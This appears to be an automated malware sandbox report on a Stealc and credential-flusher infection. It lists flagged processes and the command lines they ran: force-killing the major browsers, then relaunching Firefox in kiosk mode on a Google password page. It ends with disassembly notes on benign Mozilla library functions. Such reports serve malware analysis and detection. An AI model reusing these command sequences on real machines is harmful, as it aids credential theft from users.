Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	06:59:25
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe"
Imagebase:	0xcb0000
File size:	1'870'336 bytes
MD5 hash:	DA6F4DD65914C67347F3DB2234602578
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.2997404895.000000000185E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	06:59:30
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe"
Imagebase:	0x20000
File size:	1'801'216 bytes
MD5 hash:	4B517665A74A84DF87D5360AA6560EFB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3006334699.0000000000021000.00000040.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.2965920294.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:59:30
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Imagebase:	0xd10000
File size:	943'784 bytes
MD5 hash:	78BA0653A340BAC5FF152B21A83626CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:59:31
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Imagebase:	0xd10000
File size:	943'784 bytes
MD5 hash:	78BA0653A340BAC5FF152B21A83626CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	06:59:35
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe"
Imagebase:	0xec0000
File size:	922'624 bytes
MD5 hash:	EBE0BE1900764175F9F6B4C7F4F09E26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000001F.00000002.3056181007.0000000001198000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	06:59:35
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:59:35
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:59:36
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe"
Imagebase:	0xcb0000
File size:	1'870'336 bytes
MD5 hash:	DA6F4DD65914C67347F3DB2234602578
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	06:59:38
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:59:38
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:59:38
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:59:38
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:59:39
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:59:39
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:59:39
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:59:39
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:59:40
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:59:40
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	06:59:40
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
__aulldiv.LIBCMT ref: 6C5C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C3773
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C377E
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C37C4
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C37CB
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C3801
__aulldiv.LIBCMT ref: 6C5C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5C394C

Strings

GenuntelineI, xrefs: 6C5C3639
AuthcAMDenti, xrefs: 6C5C3946
MOZ_TIMESTAMP_MODE, xrefs: 6C5C35DB
GTC, xrefs: 6C5C3912
QPC, xrefs: 6C5C38FC

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction ID: 3246332e0a862dacf2f2a6b3f5785003fab8453d214601127360ad0ad4d8e4d3
Opcode Fuzzy Hash: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction Fuzzy Hash: 12B1D871B093109FDB08EF69C89465ABBF5FBCA708F04C92DE899D3750D77099018B8A

Function 6C5DC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5DC969
GetSystemInfo.KERNEL32(?), ref: 6C5DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5DC9E2

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction ID: 99c4c5a79ea9f165a77f8a4dac837265f2c463877daa5fb4791794bb30ed1147
Opcode Fuzzy Hash: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction Fuzzy Hash: 33212F31741714ABDB04BB29CCC4BAE73B9AB87708F518519F90797780E7707C008799

Function 6C5C3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5C3095

Part of subcall function 6C5C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
Part of subcall function 6C5C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
Part of subcall function 6C5C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
Part of subcall function 6C5C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
Part of subcall function 6C5C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
Part of subcall function 6C5C35A0: __aulldiv.LIBCMT ref: 6C5C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C309F

Part of subcall function 6C5E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B85
Part of subcall function 6C5E5B50: EnterCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B90
Part of subcall function 6C5E5B50: LeaveCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5BD8
Part of subcall function 6C5E5B50: GetTickCount64.KERNEL32 ref: 6C5E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5C30BE

Part of subcall function 6C5C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5C3127
Part of subcall function 6C5C30F0: __aulldiv.LIBCMT ref: 6C5C3140

Part of subcall function 6C5FAB2A: __onexit.LIBCMT ref: 6C5FAB30

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction ID: cac7d7eb4f2d4cef863a7c772e710718c67fc8a03a0eb8ca5bf42e0be1b219d5
Opcode Fuzzy Hash: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction Fuzzy Hash: 01F0D632E20748D6CB10FF759C815E6B374AFAB218F50D319E85863551FB2065D8838B

Non-executed Functions

Function 6C5D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D54BE
__Init_thread_footer.LIBCMT ref: 6C5D54DB

Part of subcall function 6C5FAB3F: EnterCriticalSection.KERNEL32(6C64E370,?,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB49
Part of subcall function 6C5FAB3F: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FAB7C

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5D5516
GetCurrentThreadId.KERNEL32 ref: 6C5D556A
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5D55E6
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D5616

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

GetCurrentThreadId.KERNEL32 ref: 6C5D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5D567C
free.MOZGLUE(?), ref: 6C5D56AE

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5D56E8
GetCurrentThreadId.KERNEL32 ref: 6C5D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5D5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5D57CA

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5D548D
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5D54B9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5D5D1C
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5D56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5D584E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5D5BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6C5D5511
GeckoMain, xrefs: 6C5D5554, 6C5D55D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5D57AE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5D54A3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5D5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5D5B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5D5717
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5D5766
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5D5D2B
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5D5749
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5D5D01
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5D5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5D5AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5D5C56
MOZ_PROFILER_STARTUP, xrefs: 6C5D55E1
[I %d/%d] profiler_init, xrefs: 6C5D564E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5D5D24
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5D57C5
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5D5CF9

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction ID: 6d534aad34216bea5e323c1b59cbc5a2f3897b68fd067874a262c6bfcb87a6bf
Opcode Fuzzy Hash: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction Fuzzy Hash: 412206B0A047009FE700AF79C84466A77B1EF8734CF95C929E94697B41EB31A849CB5F

Function 6C60B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C60B845
AcquireSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000), ref: 6C60B852
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60B884
InitializeConditionVariable.KERNEL32(?), ref: 6C60B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C60B9FD
GetCurrentThreadId.KERNEL32 ref: 6C60BA05
AcquireSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000), ref: 6C60BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C60BA27
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60BA4B
free.MOZGLUE(?), ref: 6C60C9C7
free.MOZGLUE(?), ref: 6C60C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C60C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C60C878

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9b90fbec7a2b160f5c2e822e8a31737108aee456f58e294de7c3e6444003e54b
